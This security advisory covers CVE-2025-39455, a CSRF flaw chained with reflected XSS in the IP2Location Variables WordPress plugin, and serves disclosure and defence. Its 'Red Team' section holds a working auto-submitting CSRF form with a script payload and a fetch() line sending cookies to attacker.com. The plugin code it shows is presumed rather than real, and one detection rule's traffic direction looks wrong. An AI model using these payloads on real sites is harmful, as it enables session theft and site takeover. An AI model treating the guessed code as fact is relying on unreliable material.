CVE-2025-39455

Executive Summary

CVE-2025-39455 is a Cross-Site Request Forgery (CSRF) vulnerability in the IP2Location Variables WordPress plugin (versions up to and including 2.9.5). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious scripts. The CSRF vulnerability is further chained with Reflected Cross-Site Scripting (XSS), enabling the attacker to execute arbitrary JavaScript in the context of the victim’s browser. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx server configurations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are at risk. No official patch has been released as of the analysis date. The plugin is not available on NPM, PyPI, Go, or Ruby registries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The vulnerability is rated High due to the low complexity of exploitation and the potential for chaining with XSS, which can lead to session hijacking, defacement, or data theft.

Deep Dive & Mechanics

The vulnerability resides in the IP2Location Variables plugin, which allows administrators to configure IP geolocation variables. The plugin fails to implement proper CSRF tokens on administrative actions, such as saving settings or importing data. An attacker can craft a malicious HTML page or link that, when visited by an authenticated admin, triggers a state-changing request (e.g., updating plugin options) without the admin’s consent.

The CSRF is further exploited to achieve Reflected XSS because the plugin does not sanitize user-supplied input in certain parameters before reflecting it in the response. For example, a crafted URL like:

http://target.com/wp-admin/admin.php?page=ip2location-variables&error_message=<script>alert('XSS')</script>

will execute the script in the admin’s browser if they are logged in.

The attack flow:

1. Attacker identifies a vulnerable WordPress site with the plugin installed.
2. Attacker crafts a malicious link or hosts a page that auto-submits a form to the vulnerable endpoint.
3. Victim (authenticated admin) clicks the link or visits the page.
4. The CSRF request modifies plugin settings (e.g., enabling a malicious API endpoint) and injects XSS payload.
5. The XSS payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or redirect users.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the plugin’s admin handling functions. A typical vulnerable pattern in WordPress plugins is:

Vulnerable Code (PHP):

function ip2location_save_settings() {
    if ( isset($_POST['ip2location_api_key']) ) {
        update_option('ip2location_api_key', $_POST['ip2location_api_key']);
    }
    // No CSRF check
}

Patched Code (Hypothetical):

function ip2location_save_settings() {
    if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'ip2location_settings') ) {
        wp_die('CSRF validation failed.');
    }
    if ( isset($_POST['ip2location_api_key']) ) {
        update_option('ip2location_api_key', sanitize_text_field($_POST['ip2location_api_key']));
    }
}

The patch would add a nonce check and input sanitization to prevent both CSRF and XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with IP2Location Variables plugin <= 2.9.5.
• An authenticated admin session (victim).

Step 1: Craft the CSRF+XSS payload. Create an HTML file (exploit.html) that auto-submits a form to the vulnerable endpoint:

<html>
<body>
<form id="csrf" action="http://target.com/wp-admin/admin.php?page=ip2location-variables" method="POST">
    <input type="hidden" name="ip2location_api_key" value="MALICIOUS_KEY<script>alert('XSS')</script>">
    <input type="submit" value="Submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

Step 2: Host the file and send the link to the victim.

python3 -m http.server 8080
# Send victim: http://attacker.com:8080/exploit.html

Step 3: Victim clicks the link while logged into WordPress. The form auto-submits, changing the API key and executing the XSS payload.

Step 4: Capture the XSS execution. The XSS can be used to exfiltrate cookies or perform admin actions:

fetch('http://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual POST requests to /wp-admin/admin.php?page=ip2location-variables without a valid nonce.
2. Check for unexpected changes to the ip2location_api_key option in the database.
3. Look for reflected XSS patterns in server logs (e.g., <script> tags in query parameters).

Mitigation:

• Disable the plugin until a patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests containing <script> in parameters.
• Enforce strict Content Security Policy (CSP) headers.

Indicators of Compromise (IOCs)

• URL Pattern: /wp-admin/admin.php?page=ip2location-variables with unexpected POST parameters.
• Log Entry: POST requests to the above URL with Referer header not matching the site domain.
• Database Entry: wp_options table with option_name = 'ip2location_api_key' containing malicious JavaScript.
• Network Traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.

Detection Engineering

YARA Rule

rule CVE_2025_39455_CSRF_XSS {
    meta:
        description = "Detects CSRF+XSS exploitation attempts against IP2Location Variables plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39455"
    strings:
        $csrf_endpoint = "admin.php?page=ip2location-variables"
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $post_method = "POST"
    condition:
        $csrf_endpoint and $xss_payload and $post_method
}

Sigma Rule

title: CVE-2025-39455 - CSRF+XSS in IP2Location Variables
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF and reflected XSS attempts against IP2Location Variables plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=ip2location-variables'
        cs-uri-query|re: '<script[^>]*>'
    condition: selection
falsepositives:
    - Legitimate admin actions with nonce
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39455 - CSRF+XSS in IP2Location Variables"; flow:to_server,established; content:"POST"; http_method; content:"admin.php"; http_uri; content:"page=ip2location-variables"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Review and reset any modified plugin settings in the database.
3. Rotate all admin credentials and invalidate existing sessions.

Long-term Fix:

• Apply the hypothetical patch by adding nonce verification and input sanitization to all admin-facing functions.
• Monitor the plugin’s official repository for updates.

Compensating Controls:

• Deploy a WAF with rules to block CSRF and XSS patterns.
• Enforce strict CSP headers to mitigate XSS impact.
• Implement additional CSRF tokens via a security plugin (e.g., Wordfence).

Valters IT
Securing Digital Frontiers